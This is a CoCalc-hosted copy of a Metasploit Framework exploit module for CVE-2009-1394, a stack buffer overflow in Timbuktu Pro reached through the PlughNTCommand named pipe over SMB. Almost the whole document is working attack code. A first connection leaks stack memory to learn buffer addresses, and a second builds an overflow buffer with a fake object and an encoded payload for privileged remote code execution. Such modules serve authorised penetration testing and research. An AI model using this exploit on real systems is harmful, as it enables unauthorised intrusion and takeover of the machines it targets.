Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::SMB::Client
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
18
in a pretty novel way.
19
20
This exploit requires two connections. The first connection is used to leak stack data
21
using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
22
a large value for this argument it is possible to cause Timbuktu to reply to the initial
23
request with leaked stack data. Using this data allows for reliable exploitation of the
24
buffer overflow vulnerability.
25
26
Props to Infamous41d for helping in finding this exploitation path.
27
28
The second connection utilizes the data from the data leak to accurately exploit
29
the stack based buffer overflow vulnerability.
30
31
TODO:
32
hdm suggested using meterpreter's migration capability and restarting the process
33
for multishot exploitation.
34
},
35
'Author' => [ 'bannedit' ],
36
'License' => MSF_LICENSE,
37
'References' => [
38
[ 'CVE', '2009-1394' ],
39
[ 'OSVDB', '55436' ],
40
[ 'BID', '35496' ],
41
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
42
],
43
'DefaultOptions' => {
44
'EXITFUNC' => 'process',
45
},
46
'Payload' => {
47
'Space' => 2048,
48
},
49
'Platform' => 'win',
50
'Targets' => [
51
# we use a memory leak technique to get the return address
52
# tested on Windows XP SP2/SP3 may require a bit more testing
53
[
54
'Automatic Targeting',
55
{
56
# ntdll .data (a fairly reliable address)
57
# this address should be relatively stable across platforms/SPs
58
'Writable' => 0x7C97B0B0 + 0x10 - 0xc
59
}
60
],
61
],
62
'Privileged' => true,
63
'DisclosureDate' => '2009-06-25',
64
'DefaultTarget' => 0,
65
'Notes' => {
66
'Reliability' => UNKNOWN_RELIABILITY,
67
'Stability' => UNKNOWN_STABILITY,
68
'SideEffects' => UNKNOWN_SIDE_EFFECTS
69
}
70
)
71
)
72
73
deregister_options('SMB::ProtocolVersion')
74
end
75
76
# we make two connections this code just wraps the process
77
def smb_connection
78
connect(versions: [1])
79
smb_login()
80
81
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
82
83
pipe = simple.create_pipe('\\PlughNTCommand')
84
85
fid = pipe.file_id
86
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
87
88
return pipe
89
end
90
91
def mem_leak
92
pipe = smb_connection()
93
94
print_status("Constructing memory leak...")
95
96
writable_addr = target['Writable']
97
98
buf = make_nops(114)
99
buf[0] = "3 " # specifies the command
100
buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
101
buf[98] = [writable_addr].pack('V')
102
buf[110] = [0x1ff8].pack('V') # number of bytes to leak
103
104
pipe.write(buf)
105
leaked = pipe.read()
106
leaked << pipe.read()
107
108
if (leaked.length < 0x1ff8)
109
print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
110
pipe.close
111
disconnect
112
return
113
end
114
115
offset = 0x1d64
116
stackaddr = leaked[offset, 4].unpack('V')[0]
117
bufaddr = stackaddr - 0xcc8
118
119
print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"
120
121
print_status("Closing connection...")
122
pipe.close
123
disconnect
124
125
return stackaddr, bufaddr
126
end
127
128
def exploit
129
stackaddr, bufaddr = mem_leak()
130
131
if (stackaddr.nil? || bufaddr.nil?) # just to be on the safe side
132
print_error("Error: memory leak failed")
133
return
134
end
135
136
pipe = smb_connection()
137
138
buf = make_nops(1280)
139
buf[0] = "3 "
140
buf[94] = [bufaddr + 272].pack('V') # create a fake object
141
buf[99] = "\x00"
142
buf[256] = [bufaddr + 256].pack('V')
143
buf[260] = [bufaddr + 288].pack('V')
144
buf[272] = "\x00"
145
buf[512] = payload.encoded
146
147
pipe.write(buf)
148
end
149
end
150
151